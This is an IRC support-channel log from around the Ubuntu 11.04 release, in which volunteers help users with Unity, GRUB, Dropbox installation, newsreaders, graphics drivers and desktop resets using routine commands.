[09:41] <Ultimate_Chaos> Dr_Willis: it is normal speed now
[09:41] <jeija> eddie_: xfce, lxde. kde (won't break unity) gnome 3 (will break unity), classic gnome (at login)
[09:42] <eddie_> thanks all :)
[09:42] <Ubuntu_user> still nothing it is stuck there only
[09:42] <adsDSDSFSFSFAEEF> ubuntu is released lalalalala ubuntu is released
[09:42] <omidp> there was no network manager
[09:42] <eddie_> I will do classic for now, but gnome 3 when I get time ;)
[09:42] <Ultimate_Chaos> Dr_Willis: it is back to normal for now account
[09:42] <mrtadis> Hello, what is the problem with Ubuntu 10.10 loading? After grub console I see a black screen for a couple of settings, after that it starts showing kernel loading?
[09:43] <Ubuntu_user> i think getting back to 10.10 is much better now and wait more more stable release
[09:43] <terry> omidp: Do you need to establish a network connection via wireless or wired?
[09:43] <nmaxchat> Scott-Mc, Thanks
[09:43] <stefg> mrtadis: that looks like the kernel isn't finding its root filesystem
[09:43] <omidp> well do u c the network applet in panel? there was no nm-applet in panel
[09:44] <nmaxchat> How do I install drop box ?
[09:44] <Dr_Willis> nmaxchat:  theres some reposuitories for installing it, ive seen.
[09:44] <Dr_Willis> !dropbox
[09:44] <Dr_Willis> nmaxchat:  I think theres a guide at the OMGubuntu blog site.
[09:44] <terry> omidp: If you have established a network connection you can install network-manager or wicd.  (I use wicd - it is a bit simplier.)
[09:44] <nmaxchat> Dr_Willis, I'll look merci
[09:45] <terry> omidp: sudo apt-get install wicd
[09:45] <Ultimate_Chaos> Dr_Willis: it is back to normal for now account
[09:45] <PythonPup> nmaxchat, http://wiki.dropbox.com/TipsAndTricks/TextBasedLinuxInstall
[09:45] <Ultimate_Chaos> still slow for ofriginal one
[09:45] <Ubuntu_user> So anyone i am searching for a solution from last 2 days
[09:45] <Dr_Willis> nmaxchat:  i do recall there being some issue with dropbox needing a delay to launch to work properly. I must of read abouit that at the omgubuntu site.
[09:46] <Dr_Willis> Ultimate_Chaos:  if the New account works.. and the old is slow.. then that points to some user config setting in their home.  You could clean out all the old settings i guess.
[09:46] <PythonPup> Ubuntu_user, My favorite solution is tea and sugar in water.
[09:46] <Ultimate_Chaos> Dr_Willis: how?
[09:47] <Ubuntu_user> PythonPup:  coffee could be much better , lol, would try out later, thanks guys
[09:47] <Jordan_U> kblin: /dev/sdb1 is the correct partition.
[09:47] <Jordan_U> kblin: Windows Vista/7 uses a separate "System" partition.
[09:48] <Ubuntu_user> last point is 11.04 not a stable release?
[09:48] <Acriax> Hi, Im trying to configure the thumb buttons for my mouse on Ubuntu 1104. Using xinput set-button-map <device> 1 2 3 4 5 6 7 doesn't add number 6 and 7. What am I doing wrong?
[09:48] <Dr_Willis> Ultimate_Chaos:  you could move all your varios .DIRS to some extra dir and then log out/back in. that will reset everything back to defaults. but you will loose your old settings for everything.
[09:48] <gac> Jordan_U: applied the BIOS update. Still no luck. I have just noticed that this disk takes a lot longer to be detected by the BIOS than my windows7 disk, I wonder if the disk is failing in a very subtle way
[09:48] <andeeeuk> has anyone here used pan newsreader?
[09:48] <Dr_Willis> Ultimate_Chaos:  you could copy them one by one back from the backup dir untill youi fiigure out what one is the issue.
[09:48] <andeeeuk> i am trying to download newsgroups
[09:49] <andeeeuk> having some problems
[09:49] <Dr_Willis> nmaxchat:  some info about dropbox -> http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[09:49] <Jordan_U> kblin: The problem is that grub's part_msdos module, which is needed for reading msdos partition tables, is not being loaded. Add "GRUB_PRELOAD_MODULES=part_msdos" to /etc/default/grub then run "sudo update-grub".
[09:49] <andeeeuk> or has anyone used newsgroups before?
[09:49] <terry> andeeeuk: I have used newsgroups before.
[09:50] <mfraz74> How come the countdown banners http://www.ubuntu.com/community/countdown are either showing 'coming soon' or broken?
[09:50] <brandonc503> so i made new user for ftp on ubuntu.. when i connect via ftp program i see files that i dont see when am looking in ubuntu: .cache .bash_logout .bashrc .profile examples.desktop
[09:50] <Jordan_U> Ubuntu_user: 11.04 is a stable release.
[09:50] <Ultimate_Chaos> Dr_Willis: found it
[09:50] <brandonc503> can ya tell me what these are? can i delete them?
[09:50] <andeeeuk> terry, is it easy to add a server and start downloading
[09:50] <andeeeuk> ?
[09:50] <Ubuntu_user> Jordan_U:  then why sh file never execute on it
[09:50] <terry> andeeeuk: I don't know.
[09:50] <trijntje> brandonc503, dont delete them, they are config files which are hidden by default
[09:51] <Ultimate_Chaos> Dr_Willis: it was something to do with the policykit authentication app
[09:51] <scotty^> Hi all.  Does anyone know if there is a tracking bug in Launchpad  for anatty kernel upgrade to either 2.6.38.3 or 2.6.38.4?
[09:51] <trijntje> brandonc503, press ctrl + h in file manager to see them
[09:51] <terry> andeeeuk: Been a long time.  Just use groups.google.com now.
[09:51] <andeeeuk> terry which application did you use as a newsreader?
[09:51] <Jordan_U> Ubuntu_user: Because the file you are running is probably not a POSIX sh script but rather a bash script.
[09:51] <terry> andeeeuk: thunderbird.
[09:52] <andeeeuk> terry, ok thanks. Seems im even struggling connecting to a newsgroup
[09:52] <gac> Jordan_U: located the problem. I can't boot from my Ubuntu disk with AHCI enabled. Turning it back to IDE mode in the BIOS detects my spare disk straight away, and Ubuntu boots fine.
[09:52] <Ubuntu_user> Jordan_U:  any way to solve the pronlem i am using this file http://netbeans.org/downloads/index.html (c++). But it works fine on 10.10
[09:52] <scotty^> brandonc503 - Don't delete those files!  They are important.  To see them in Ubuntu, select "Show Hidden Files" from the View menu in Nautilus.
[09:52] <andeeeuk> terry, I thought it would be simple to add a group and start downloading from it
[09:53] <Jordan_U> Ubuntu_user: Please don't address support questions directly to me.
[09:53] <terry> andeeeuk: My ISP no longer has a feed for newsgoups and hasn't in some time now, so I just use groups.google.com
[09:53] <geeks-den__aninv> I want to study kernel so is there anyone who could guide me
[09:53] <Ubuntu_user> Jordan_U:  sorry . are you admin or developer of ubuntu.
[09:54] <Ubuntu_user> any way to solve the pronlem i am using this file http://netbeans.org/downloads/index.html (c++). But it works fine on 10.10
[09:54] <andeeeuk> ok no worries thatnks
[09:54] <mhusr> how can i use newsgroups?
[09:54] <scotty^> andeeeuk - I like using nn for a newsreader.
[09:54] <geeks-den__aninv> no i am not a ubuntu developer
[09:55] <Ultimate_Chaos> Dr_Willis: thank you very much
[09:55] <mfraz74> I use KNode
[09:55] <andeeeuk> scotty^ which do you use?
[09:55] <virgo> how di i install this icon for software center? http://paste.ubuntu.com/601650/ do i may be have some package missing?
[09:55] <andeeeuk> scotty^ i have been tring to add a newsgroup to pan newsreader with no success
[09:56] <Dr_Willis> Ultimate_Chaos:  that whole 'try a new user' trick - helps eliminate stuff :)
[09:57] <Herbs> andeeeuk just search for the group right click subscribe
[09:57] <scotty^> andeeeuk I use nn for a newsreader
[09:57] <kblin> Jordan_U: ah, spot on, thanks a bunch
[09:57] <andeeeuk> Herbs is it that easy?
[09:57] <kblin> Jordan_U: that fixed it :)
[09:57] <Herbs> andeeeuk I use Pan
[09:57] <Jordan_U> kblin: You're welcome :)
[09:58] <Ubuntu_user> how to downgrade from 11.04 to 10.10?
[09:58] <scotty^> The commands take a little while to remember but it's very heavy duty.
[09:58] <Herbs> andeeeuk yes :) as long as you have configured your provider and downloaded the group list
[09:58] <andeeeuk> Herbs thanks, I will give it a go
[09:58] <scotty^> I'm not familiar with pan I'm afraid.
[09:58] <terry> Ubuntu_user: I think you would just have to re-install with 10.10
[09:59] <Ubuntu_user> terry:  okay,....
[09:59] <nmaxchat> When I open a terminal command, what directory does it put me in by default. 10.04 it says nicholas@nicholas-laptop
[09:59] <Dr_Willis> !downgrade
[09:59] <ubottu> Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[09:59] <andeeeuk> Herbs configuring your provider to download group list?
[09:59] <Dr_Willis> nmaxchat:  thats your home dir.. /home/yoruusername   ie:  ~
[09:59] <Ubuntu_user> Dr_Willis:  terry thanks
[09:59] <Herbs> andeeeuk have you got a newsgroup provider i.e giganews?
[09:59] <Dr_Willis> nmaxchat:  your username seems to be nicholas in this case :)
[09:59] <red2kic> Ubuntu_user: or 10.04 LTS.
[09:59] <Ubuntu_user> red2kic: ??
[10:00] <andeeeuk> Herbs, ok no I dont have that
[10:00] <red2kic> !lts | Ubuntu_user
[10:00] <ubottu> Ubuntu_user: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[10:00] <red2kic> Ubuntu_user: Otherwise, you might get notifications about available updates all times.
[10:00] <Ubuntu_user> red2kic:  i know what lts is.
[10:00] <andeeeuk> Herbs is giganews a free provider
[10:00] <nmaxchat> Dr_Willis, So If I say cd  downloads it puts in downloads, correct ?
[10:00] <Herbs> andeeeuk you need a news server to download from
[10:00] <constl> Can you suggest a nice video editing application?
[10:00] <Dr_Willis> nmaxchat:  yes. thats bash basics.. and rember CASE is Imporntant..   Downloads and downloads are 2 differnt dirs/files
[10:00] <Ubuntu_user> red2kic:  so you think i should go for lts one
[10:00] <Herbs> andeeeuk no but there not expensive free providers are fairly useless
[10:01] <elex> hi can Anyone give me a hint how to convert a file fron "utf 8 with BOM" to  "uft 8 with BOM" ?
[10:01] <mfraz74> constl: there are kdenlive, kino, openshot, pitivi for starters
[10:01] <scotty^> Hi all.  Does anyone know if there is a tracking bug in Launchpad  for anatty kernel upgrade to either 2.6.38.3 or 2.6.38.4?
[10:01] <elex> em to utf8 "without bom" Sorry
[10:01] <nmaxchat> Dr_Willis, I am learning Willis, ....Merci
[10:01] <Dr_Willis> !terminal | nmaxchat
[10:01] <ubottu> nmaxchat: The linux terminal or command-line interface is very powerful. Open a terminal via Applications -> Accessories -> Terminal (Gnome), K-menu -> System -> Konsole (KDE), or Menu -> Accessories -> LXTerminal (LXDE). Guide: https://help.ubuntu.com/community/UsingTheTerminal
[10:01] <andeeeuk> Herbs: ok thanks. Is there a free provider that  can test with
[10:01] <andeeeuk> ?
[10:01] <scotty^> oops - let me try that again
[10:01] <terry> constl: Cinelerra  - Video Editing Software
[10:01] <scotty^> Hi all.  Does anyone know if there is a tracking bug in Launchpad  for a Natty kernel upgrade to either 2.6.38.3 or 2.6.38.4?
[10:02] <scotty^> That's better.
[10:02] <Herbs> andeeeuk I dont know of any and this is going off topic now :)
[10:02] <red2kic> Ubuntu_user: Yeah. Why not? You don't have to deal with this headaches every 6 month.
[10:02] <terry> constl: See:  http://www.cyberciti.biz/faq/top5-linux-video-editing-system-software/
[10:02] <cloratec> qui parle frabçais stp????
[10:02] <cloratec> français*
[10:02] <constl> Thanks guys
[10:02] <Sebos> blender is the best video editor.... Sadly others have too much flaws
[10:02] <Jordan_U> !fr | cloratec
[10:02] <ubottu> cloratec: Ce canal est en anglais uniquement. Si vous avez besoin d'aide ou voulez discuter en francais, merci de rejoindre #ubuntu-fr, ou #ubuntu-qc. Merci.
[10:02] <Ubuntu_user> red2kic:  so whats that much better in lts
[10:02] <Sebos> moi
[10:02] <andeeeuk> Herbs lol, maybe slightly off topic but I cant test pan if i dont have a free provider?
[10:02] <Ubuntu_user> red2kic:  cost?
[10:02] <andeeeuk> :P
[10:02] <red2kic> Ubuntu_user: Stability.
[10:03] <cloratec> dacor merci ^^
[10:03] <Herbs> andeeeuk I think giganews do a free trial
[10:03] <nmaxchat> Dr_Willis, How would I install a deb file that is in my Downloads directory as a tar.gz file?
[10:03] <Dr_Willis> Of course the LTS does not have the latest versions of things like the newer releases do.
[10:03] <zabomber> hey guys. know this has probably come up alot since unity release... but i have ubuntu 11 installed in Virtual Box..
[10:03] <Dr_Willis> nmaxchat:  a .deb is normally not a .tar.gz  what is it exactly you have?
[10:03] <zabomber> unity wont load. comes up with "hardware not availble to run unity" error
[10:03] <Dr_Willis> nmaxchat:  'sudo dpkg -i foo.deb' or 'sudo gdebi foo.deb' is the normal way.
[10:04] <andeeeuk> Herbs, ok thanks I will test that out.
[10:04] <Herbs> nmaxchat you install .deb with dpkg -i
[10:04] <terry> nmaxchat: You would first have to unpack it.  tar zxvf file-name.tar.gz
[10:04] <Dr_Willis> zabomber:  you have what chipset? have you installed the proper 3d drivers for it?
[10:04] <Herbs> nmaxchat .tar.gz would usually be source
[10:04] <ajah> i`ve just uprade to 11 can someone tell me how to remove the horizontal winbouz like panel
[10:05] <Dr_Willis> ajah:  select the classic desktop at the GDM login screen if you want the old 'classic' gnome desktop.
[10:05] <terry> nmaxchat: Herbs is correct, what you have more than likely downloaded is a tarball.
[10:05] <zabomber> Dr_Willis: im running virtual box on a mac book pro... should i be installing a special a virtual box driver for it?
[10:05] <Sebos> pitivi is horrible in export part (pipe export is instable slow and good parameters are unpredictable)
[10:05] <nmaxchat> terry, tar zxvf file-name.tar.gz  thats the command line ?
[10:05] <terry> nmaxchat: Yes
[10:05] <Herbs> nmaxchat there should be a README in there
[10:05] <Dr_Willis> zabomber:  vbox manual has details on how to install the guest addations i belive.  then theres the vbox guides at...
[10:05] <Dr_Willis> !vbox
[10:05] <ubottu> virtualbox is a x86 !virtualizer. A !free edition is available from the package 'virtualbox-ose'. A non-free edition is available at http://virtualbox.org for most Ubuntu releases (help in #vbox) - Setup details at https://help.ubuntu.com/community/VirtualBox
[10:05] <nmaxchat> terry, tarball... thats insulting ;)
[10:06] <ajah> Dr_Willis, how is called this thing to see options for it
[10:06] <nmaxchat> terry, Herbs lemme look
[10:06] <Magizian> hello?
[10:06] <zabomber> Dr_Willis: i've installed the vBox additions... no luck...
[10:06] <Dr_Willis> ajah:  when you log out.  you enter your user name. then theres a menu at the bottom. select 'classic'
[10:06] <terry> nmaxchat: What is it that you are wanting to install?
[10:06] <zabomber> ill check out the help
[10:06] <zabomber> ta
[10:06] <Magizian> I need a beta tester for my shell..
[10:06] <SoftarPaul> I've updated my Ubuntu today from 10.10 > 11.04. But when I rebooted the computer, the panel/statusbar is gone. How can I show it?
[10:06] <terry> nmaxchat: What is your end goal?
[10:06] <Magizian> I have the first WMHT Zx86/64 beta servers up and running..
[10:06] <Magizian> telnet to 173.13.234.122 port 20023 ... don't login at the prompt, just connect, sit back, and I'll give a guided tour..
[10:06] <Magizian> then you may explore a bit..
[10:06] <Jordan_U> Magizian: This isn't the place to find one.
[10:06] <Dr_Willis> zabomber:  whats the actual vbox issue?
[10:06] <ajah> Dr_Willis, i was asking for the horizontal thing
[10:06] <Jordan_U> Magizian: Ask again and you will be banned.
[10:07] <scotty^> nmaxchat - Or u can just browse to the tar.gz archive in Nautilus and double-click it, which will open it in file-roller (called Archive Manager in the Titlebar).
[10:07] <SoftarPaul> How can I show my hidden panel?
[10:07] <Dr_Willis> ajah:  and its not clear what you are asking about. You mean the top panel thats always been in gnome? or the left side panel - thats the new unity launcher thing..
[10:07] <nmaxchat> terry, To install dropbox
[10:07] <Dr_Willis> ajah:  you really dont tweak unity much at this time.
[10:07] <zabomber> Dr_Willis: well.. the thing is. it came up once and disappeared and now it only loads ubuntu classic even if i select Ubuntu at login...
[10:07] <nmaxchat> Scott-Mc, How do I get into nautilus ?
[10:08] <Dr_Willis> nmaxchat:  dropbox was easy to install. :) one deb. then a tweak script at the webupd8 site.
[10:08] <ajah> Dr_Willis, unity launcher thing thanks
[10:08] <PythonPup> nmaxchat, at a terminal prompt, type   nautilus
[10:08] <nmaxchat> Dr_Willis, Easy for geeks. I am a newbie geek
[10:08] <Dr_Willis> zabomber:  unity needs 3d driovers.  it does not live vbox or vmware muich. try the unity-2d package.
[10:08] <SoftarPaul> I've updated my Ubuntu today from 10.10 > 11.04. But when I rebooted the computer, the panel/statusbar is gone. How can I show it?
[10:08] <nmaxchat> PythonPup, Thks
[10:08] <zabomber> will do . thanks
[10:08] <Dr_Willis> nmaxchat:  get deb here -> https://www.dropbox.com/downloading?os=lnx
[10:09] <Dr_Willis> nmaxchat:  install it.. get it going..  then run the script from here --> http://www.webupd8.org/2011/03/get-dropbox-appindicator-to-work-in.html
[10:09] <gregors> is there a package or something like that to remove UNITY ?
[10:09] <SoftarPaul> Anyone? :/
[10:09] <Dr_Willis> gregors:  that will proberly break so many things...
[10:09] <nmaxchat> Dr_Willis, I have it downloaded but dunno how to install
[10:09] <terry> nmaxchat: where did you download from?
[10:10] <Herbs> softarpaul your not using Gnome any more
[10:10] <Dr_Willis> nmaxchat:  you downloaded the .deb ?
[10:10] <scotty^> Just select one of your Places, such as Home Folder or Documents or Pictures or Downloads and navigate from there to your file.
[10:10] <nmaxchat> terry, Dr_Willis dropbox site
[10:10] <SoftarPaul> Herbs: Anyway, how to show it?
[10:10] <botcity> SoftarPaul, if you have a program running it will not show with your pointer push to the edge of the screen that it is suppose to be and it should pop up
[10:10] <PythonPup> gregors, Just don't use Unity.  Uninstalling it will break a lot.  I did that as a test once.
[10:10] <scotty^> or do what PythonPup said and type nautilus at a terminal prompt.
[10:11] <SoftarPaul> botcity: So if I shut down all running programs and point the mouse to the top of the screen, it should show?
[10:11] <Dr_Willis> nmaxchat:  when i clicked on the download link. it automatically opened in the software center here. all i had to do was click install. :)
[10:11] <terry> nmaxchat: https://www.dropbox.com/downloading?os=lnx   #This site?
[10:11] <Dr_Willis> nmaxchat:  https://www.dropbox.com/download?dl=packages/nautilus-dropbox_0.6.7_i386.deb
[10:12] <botcity> SoftarPaul, no sorry!
[10:12] <terry> nmaxchat: You should have ended up with a .deb  file.
[10:12] <incorrect> i want to reset my desktop after my upgrade, what do i need to delete?
[10:12] <SoftarPaul> botcity: I just want to see my panel, how to? :(
[10:12] <Herbs> nmaxchat typ wget https://www.dropbox.com/download?dl=packages/nautilus-dropbox_0.6.7_i386.deb && sudo dpkg -i nautilus-dropbox_0.6.7_i386.deb
[10:12] <gregors> PythonPup, I'ts a sad day for me ..I've been using Ubuntu for 7 years now
[10:12] <botcity> SoftarPaul, is it the unity interface
[10:12] <Herbs> type*
[10:13] <gregors> now I think I'm switching back to Debian
[10:13] <SoftarPaul> botcity: What's "Unity interface"?
[10:13] <nmaxchat> Dr_Willis, terry, Herbs Got it. Thanks Just a double click...
[10:13] <scotty^> SoftarPaul - u don't have a panel any more because you are not using GNOME anymore, u are using Unity.
[10:13] <terry> nmaxchat: Yep, there you go....
[10:13] <PythonPup> gregors, Don't be sad.  On one machine, I use gnome on natty and it does quite well.
[10:13] <pksadiq> !Unity | SoftarPaul
[10:13] <ubottu> SoftarPaul: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[10:14] <scotty^> If you want to use GNOME on Natty, select Ubuntu Classic Desktop during boot (before login).
[10:14] <SoftarPaul> scotty^: Oh, I see. Where can I find the settings, the app-center etc
[10:14] <SoftarPaul> ?
[10:14] <gregors> yeah the problem is that it breaks all compiz settings
[10:15] <Dr_Willis> I find compiz getting downplayed a good thing. - Im sick of the cube. :)
[10:15] <SoftarPaul> http://unity.ubuntu.com/about/ Here they have a panel...
[10:15] <constl> Does an upgrade from 10.10 to 11.04 is a good practise for the long run or a fresh install of the latest release is the best practise? I mean is there any clutter left behind after the upgrade?
[10:15] <scotty^> Umm, I'm trying to remember.  I'm using Lucid as I type this.
[10:15] <PythonPup> gregors, the real scary part is planning ahead for Oneiric Ocelot.  No Gnome desktop will be provided.  So, we all better test and get the bugs out of Unity this cycle.
[10:15] <scotty^> Natty is installed on my other machine.
[10:15] <Dr_Willis> constl:  i keep /home/ on its own partiin. and do clean installs.
[10:15] <_Keepiru> good morning
[10:15] <Dr_Willis> constl:  upgrades can be problmantic.. depending on what you do with your systems
[10:15] <gregors> PythonPup, I wish I had more time to tweak things like in old days
[10:16] <scotty^> Try clicking Applications near the bottom of the Launcher on the left side of your desktop.
[10:16] <atlef> constl, upgrade is just fine, just finished one myself
[10:16] <constl> Dr_Willis: What about installed applications? I'm just trying linux and not sure what method to choose for fully replacing my windows
[10:16] <Herbs> +1 for what Dr_Willis said
[10:16] <gregors> this all user interface is about getting more of out of a small screen
[10:16] <gregors> and I'm sorry I have 24'' here
[10:17] <Dr_Willis> someone just asked how to reset unity (i think) just saw this URL --> http://www.webupd8.org/2011/04/how-to-reset-unity-launcher-icons-or.html
[10:17] <ajah> Dr_Willis, i want to access tree structure of programs like before system->preferences ... how to do this in 11
[10:17] <Cairo|Mac> has anyone seen anything like this? http://img233.imageshack.us/img233/8213/img3503a.jpg
[10:17] <Dr_Willis> ajah:  not sure what you mean. You want the preferances tool? its under a menu item under the power button now.
[10:17] <atlef> Dr_Willis, i just went 10.04 -> 10.10 -> 11.04 no problems :-)
[10:18] <Dr_Willis> atlef:  you are lucky from what ive seen in here. :)
[10:18] <_Keepiru> i have a wierd problem..... gnome "hangs" ..... if i do anything like "moving cursor" the system hangs, and comes back after a while. top shows me migration/0 and migration/1
[10:18] <jarek> Hi
[10:18] <Herbs> atlef dont mean everytime you do it will go smoothly :)
[10:18] <jarek> which graphics card would work best with Ubuntu 11.04?
[10:18] <scotty^> ajah - IIRC, that's under Applications, then click the little arrow which says either "Show all applications" or "See more applications".
[10:18] <_Keepiru> consuming between 66 and 360% (wtf) cpu
[10:18] <atlef> Dr_Willis, oh, good to know
[10:18] <jarek> I remember hearing bad things about ATI cards, is it still relevant?
[10:18] <Krishnandu> Hi, I want to upgrade to Natty, but don't want to perform the upgrade through network. So is there any way out by which I can upgrade from CD??
[10:19] <Dr_Willis> jarek:  i always stick with nvidia. but Unity is having some issues  with nvidia and ati both at this time. it all depends on the details. :(
[10:19] <Dr_Willis> jarek:  in order i perfer -->   Nvidia , Intel, ATI,  (then i stop..)  Avoid SIS
[10:19] <scotty^> jarek - A new one.
[10:19] <jarek> Dr_Willis I was thinking about buying a laptop with Intel GMA 4500M
[10:19] <scotty^> Doesn't have to be a powerful one though.
[10:20] <jarek> Dr_Willis what's wrong with Intel cards?
[10:20] <constl> Krishnandu: If you boot with the CD should give you the option to upgrade/install ?
[10:20] <Dr_Willis> jarek:  i perfer nvidia over them. moar power. :) but it depends on your needs.
[10:20] <Dr_Willis> jarek:  if you dont game.. intel is fine.
[10:20] <jarek> Dr_Willis I don't need power, I just would like it to work out of the box
[10:20] <Krishnandu> constl, I dont think Live CD has the option to upgrade. Are you sure??
[10:20] <Alarcron> Hello, this question has probably been asked since the worlds conception... However. Switcable GPUs. Has it been implemented yet? I seriously can not leave windows until tht has been properly fixed! :S
[10:21] <Dr_Willis> jarek: --> it depends on your needs. and budget. :) You decide whatyou need.
[10:21] <Incarus6> jarek, this card should work out of the box
[10:21] <Dr_Willis> jarek: even some intel has had issues in 11.04 from what ive seen in here.
[10:21] <iceroot> Alarcron: no its still disabled in the kernel because of a memory leak, you can only switch gpus with a reboot
[10:21] <constl> Krishnandu: Why dont you try the CD first?
[10:21] <Dr_Willis> jarek:  theres always a chance for some issues. You could take a 11.04 live cd to the store and try it out.
[10:21] <Krishnandu> constl, Ok, then I'm downloading the Live CD
[10:22] <scotty^> jarek - I have two machines with ATI Radeon HD5450 cards which work well with Natty.  NVIDIA cards and recent Intel integrated graphics are working well for most people too.
[10:22] <Herbs> Alarcron you mean windows can actually do something without needing a reboot?
[10:22] <jarek> scotty^: but nvidia cards would require third-party drivers
[10:22] <Alarcron> Herbs ya...
[10:22] <iceroot> Alarcron: i a running a setuo here with nvidia ion and intel gpu (asus eeepc 1015pn) and i have to reboot to use intel or nvidia, live-switching is not possible (2.6.38)
[10:22] <botcity> Dr_Willis, good idea i think ill do that!
[10:22] <Incarus6> !nouveau | jarek
[10:22] <ubottu> jarek: nouveau is an open-source nvidia driver included by default in 10.04. Currently 3D rendering is unsupported. More information can be found in http://nouveau.freedesktop.org/wiki/ - See also !nvidia
[10:22] <Herbs> Alarcron theres a first for everything I guess :)
[10:23] <Alarcron> iceroot gah, well.. Then i have to wait until further notice then :(
[10:23] <iceroot> Alarcron: it should be fixed in 2.6.39
[10:23] <scotty^> For older Intel integrated graphics there is a bug which has been fixed in a pending SRU for Natty - see https://bugs.launchpad.net/ubuntu/+source/xserver-xorg-video-intel/+bug/727594
[10:23] <ubottu> Ubuntu bug 727594 in xf86-video-intel "SRU: [i915gm] GPU lockup (ESR: 0x00000001 IPEHR: 0x02000004)" [High,Confirmed]
[10:23] <Alarcron> Herbs well actually... not to start a flame war or anything. Win7 really dont have to reboot more then when updating the internals so to speak ;) but i prefer ubuntu non the less.
[10:23] <Alarcron> iceroot Oh god, please let it be so!
[10:24] <iradics> SZiasztok
[10:24] <SattamJH> hello , is there any way to fix the brightness functions keys
[10:25] <Herbs> Alacron really I was forced to do an MCITP at work and found win 2k8 needed reboots for everything lol
[10:25] <Soothsayer> how do I put a pidgin icon in the top panel ?
[10:25] <SattamJH> I mean Fn + up arrow ,, and Fn + down arrow
[10:25] <pksadiq> why ubottu said about the BUG without invoking it?
[10:25] <scotty^> jarek - yeah, as Dr_Willis says, u should probably avoid SIS.  There is a least one bug report on Launchpad where a user with SIS graphics cannot run Unity. IIRC the SIS driver has not had much maintenance for a while now.
[10:25] <iceroot> pksadiq: someone posted a lauchpad url
[10:25] <Alarcron> well, sure it askes for a reboot from time to time... Like certain bigger updates. But, well, it can simply wait until you turn it off for. Well, the next time.
[10:25] <_Keepiru> Soothsayer: drag and drop
[10:26] <Dr_Willis> dont just avoid SiS.. run away from SiS like it was a...err.. I cant think of anything nasty enough...
[10:26] <Alarcron> however, i believe ive got the answer i was looking for. = To wait for a kernel update. So youll see me again when thats been fixed. See you
[10:26] <Soothsayer> _Keepiru, drag and drop what?
[10:26] <pksadiq> iceroot: ok, thanks
[10:26] <_Keepiru> Soothsayer: just drag the icon out of "internet" in the startbar
[10:26] <Ilya> Hi. I need help - tried to enable desktop cube in compiz and it disabled unity plugin - now I cannot launch preferences again, cannot see any menus etc. - how to do I re-enable unity? I can switch to text window (aft+F1) but I cannot launch compiz settings editor from there
[10:26] <ylmf> 大家好。
[10:26] <Sidewinder1> !cn
[10:26] <ubottu> For Ubuntu help in Chinese 您可以访问中文频道：打字 /join #ubuntu-cn 或者 打字 /join #ubuntu-tw  或者 打字 /join #ubuntu-hk
[10:27] <SattamJH> some one answer me Plz
[10:27] <Soothsayer> _Keepiru, and where should I drop it
[10:27] <Dr_Willis> Ilya:  try -> http://www.webupd8.org/2011/04/how-to-reset-unity-launcher-icons-or.html
[10:27] <Dr_Willis> Ilya:  i just saw the artical and am reading it now..
[10:27] <Soothsayer> _Keepiru, its not falling in the top right panel
[10:27] <Soothsayer> besides the volume, wifi, datetime, power off
[10:27] <Dr_Willis> Ilya:  it says how to reset compiz and other things also
[10:27] <SattamJH> I have some issues with the brightness short cuts , the function keys
[10:27] <Dr_Willis> Ilya:  seems to be 2 commands...
[10:27] <zzecool> Ilya,
[10:27] <Dr_Willis> gconftool-2 --recursive-unset /apps/compiz-1
[10:27] <Dr_Willis> unity --reset
[10:28] <zzecool> unity --reset
[10:28] <_Keepiru> Soothsayer: i thought you met a start-icon. there is the "state" located
[10:28]  * Dr_Willis bookmarks that page
[10:28] <scotty^> Alarcron - it was implemented in the open-source drivers a while ago, and the newly released ATI Catalyst 11.4 driver also supports PowerXpress (ie. switchable GPUs).
[10:28] <Incarus6> SattamJH, does that help: http://wilmor24.wordpress.com/2010/05/11/change-screen-brightness-from-terminal-ubuntu-10-04/
[10:28] <Soothsayer> _Keepiru, "there is the "state" located" ?
[10:28] <pksadiq> Dr_Willis: why shouldn't you add that to ubottu factoids?
[10:28] <thegoodcushion> I'm not getting any sound on SuperTux on 10.04.  I have no problem getting sound from Ubuntu normally.  Any ideas?
[10:29] <Dr_Willis> pksadiq:  the bot seems to hate me whenever i try to add factoids. :)
[10:29] <Dre> Hello every one! I have some Compiz issues related to a (big) memory usage. Anyone had this problem?
[10:29] <iceroot> is there a way to put my pgp-key (signed mail) into keyring, so thunderbird is not asking everytime for my passphrase if i send a signed mail?
[10:29] <SattamJH> Incarus6: no it does not work for my laptop
[10:29] <alzamabar> Can somebody help with Git and Ubuntu?
[10:29] <Ilya> @Dr_Willis thanks
[10:30] <Maahes> I'm having a problem with otf fonts, they all come out as boxes, what package do I need to fix this?
[10:30] <Incarus6> thegoodcushion, indivudal applications can be muted in the sound manager, is supertux muted? If not try "aoss supertux"
[10:30] <scotty^> jarek - I could be wrong but I thought I heard that Unity was working with the Noveau open-source NVIDIA drivers.  Dr_Willis might be able to confirm that.
[10:30] <zzecool> Maahes,  are you typong english?
[10:30] <zzecool> typing
[10:30] <Maahes> zzecool: yes, and I had these fonts working previously
[10:31] <zzecool> dont have a clue then
[10:31] <Maahes> and the fonts are in normal roman characters
[10:31] <zzecool> maybe someone else
[10:31] <Incarus6> SattamJH, are you using a thinkpad?
[10:31] <scotty^> OK, ignore, my last comment.  I  just read the ubottu comment about nouveau.
[10:31] <alzamabar> Why wouldn't my Git repo be reachable from the internet? Can somebody help with the setup?
[10:32] <thegoodcushion> Incarus6: I can't seem to install aoss
[10:33] <thegoodcushion> I says install alsa-oss but when I try it doesn't work
[10:33] <Witchsong> Anyone had any issues with VPN connections since they installed Natty?
[10:33] <cyrex> try a diff driver
[10:33] <Incarus6> thegoodcushion, aoss is working for me
[10:33] <scotty^> Dr_Willis - Re Sis: perhaps plague was the word you were looking for :)
[10:34] <Viking667> ... weird. I'm noticing "artifacts" while running Unity.
[10:34] <Dr_Willis> scotty^:  worse then the plague :)
[10:34] <thegoodcushion> Incarus6: I typed aoss supertux and it started supertux but still no sound
[10:34] <theclaw> my system (upgraded to natty) often hangs while booting (last line shown: "NET: Registered protocol"), and continues after I unplug my usb mouse. is this a known issue?
[10:34] <Herbs> SIS s*** Intergrated s***
[10:35] <Dr_Willis> scotty^:  i have had some issues with  Noveau. But this box does seem to be working with them now.. or else it finally installed the nvidia drivers.
[10:35] <BlouBlou> Herbs+
